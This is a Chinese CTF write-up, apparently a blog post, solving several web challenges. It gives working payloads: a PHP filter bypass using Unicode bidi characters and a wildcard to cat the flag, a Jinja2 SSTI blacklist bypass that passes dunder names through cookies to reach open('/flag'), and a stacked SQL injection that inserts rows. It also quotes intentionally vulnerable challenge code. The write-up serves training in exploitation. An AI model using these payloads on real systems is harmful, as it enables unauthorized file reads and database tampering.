![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PtTYVOkL-1667181404151)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221029171720094.png)]](https://img-blog.csdnimg.cn/5d7208b86bce4ff19d7b12a4dfdade0d.png)
这样我们进入最后的if
if(preg_match("/php|\fl4g|\\$|'|\"/i",$want)Or is_file($want))
die("HACK!");
else{
echo "Fine!you win";
system("cat ./$want");
}
我们试试看输出 k1y.php 的内容,这也验证了推测 user和pass都是字母开头

payload
GET:
?user=114514&pass=d&mySaid=TUFEPMC&myHeart=1586264293&hn=hn&%E2%80%AE%E2%81%A6LAG%E2%81%A9%E2%81%A6ctf=%E2%80%AE%E2%81%A6 Flag!%E2%81%A9%E2%81%A6ctf
POST:
data[]=0&verify[]=3&want=f*
[WEEK3]ssssti
分析
长的和week2的ssti一样 但是肯定变难了(加了黑名单)
黑名单(大概
'
"
_
args -- 无法使用 request.args
os -- 无法导入os
不允许post -- 无法使用 request.value
看之前笔记找到了一个payload
{{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/flag").read()}}
这个是读取根目录下的flag 根据上个ssti的题猜测flag应该还是在本目录
然后使用request.cookies构造上述的payload就好了
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gW9vhjAh-1666973111145)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221027173941292.png)]](https://img-blog.csdnimg.cn/658f832499594190b2934faf842683ff.png)
payload
?name={{self[request.cookies.c][request.cookies.d][request.cookies.e][request.cookies.f][request.cookies.g].open(request.cookies.z).read()}}
cookie:c=__dict__;d=_TemplateReference__context;e=lipsum;f=__globals__;g=__builtins__;z=flag
[WEEK3]QAQ_1inclu4e
分析
过滤了
log
php
:
flag
.
[WEEK4]fun_sql
考点就是堆叠注入 其实挺简单的 做的时候不知道脑子是不是抽筋了 我插入数据忘记查询了 不会犯这种错误咯!!!
分析
打开题目就是源码
<?
include "mysql.php";
include "flag.php";
if ( $_GET['uname'] != '' && isset($_GET['uname'])) {
$uname=$_GET['uname'];
if(preg_match("/regexp|left|extractvalue|floor|reverse|update|between|flag|=|>|<|and|\||right|substr|replace|char|&|\\\$|0x|sleep|\#/i",$uname)){
die('hacker');
}
$sql="SELECT * FROM ccctttfff WHERE uname='$uname';";
echo "$sql<br>";
mysqli_multi_query($db, $sql);
$result = mysqli_store_result($db);
$row = mysqli_fetch_row($result);
echo "<br>";
echo "<br>";
if (!$row) {
die("something wrong");
}
else
{
print_r($row);
echo $row['uname']."<br>";
}
if ($row[1] === $uname)
{
die($flag);
}
}
highlight_file(__FILE__);
我们目的就是返回flag,要求输入的uname 和 sql语句查询的uname 相等 那么我们思路就是插入一个uname 然后再查询
首先 看看本表多少列,4报错 3 正常所以3列
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fHQodSgI-1667181712556)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221031095029792.png)]](https://img-blog.csdnimg.cn/56a48a18194846d388953dda4c782a6f.png)
我们拆入数据 正常来讲有uname的一般表中列的顺序一般就是 id-uname-passwd
uname一般放到第二个 我们试试

但是其实也可以三列插入一样的值 这样也不需要猜东西啦

payload
?uname=1';insert into ccctttfff value(55,55,55);--+
?uname=55
或者
?uname=1';insert into ccctttfff value(1,'name',3);--+
?uname=name
|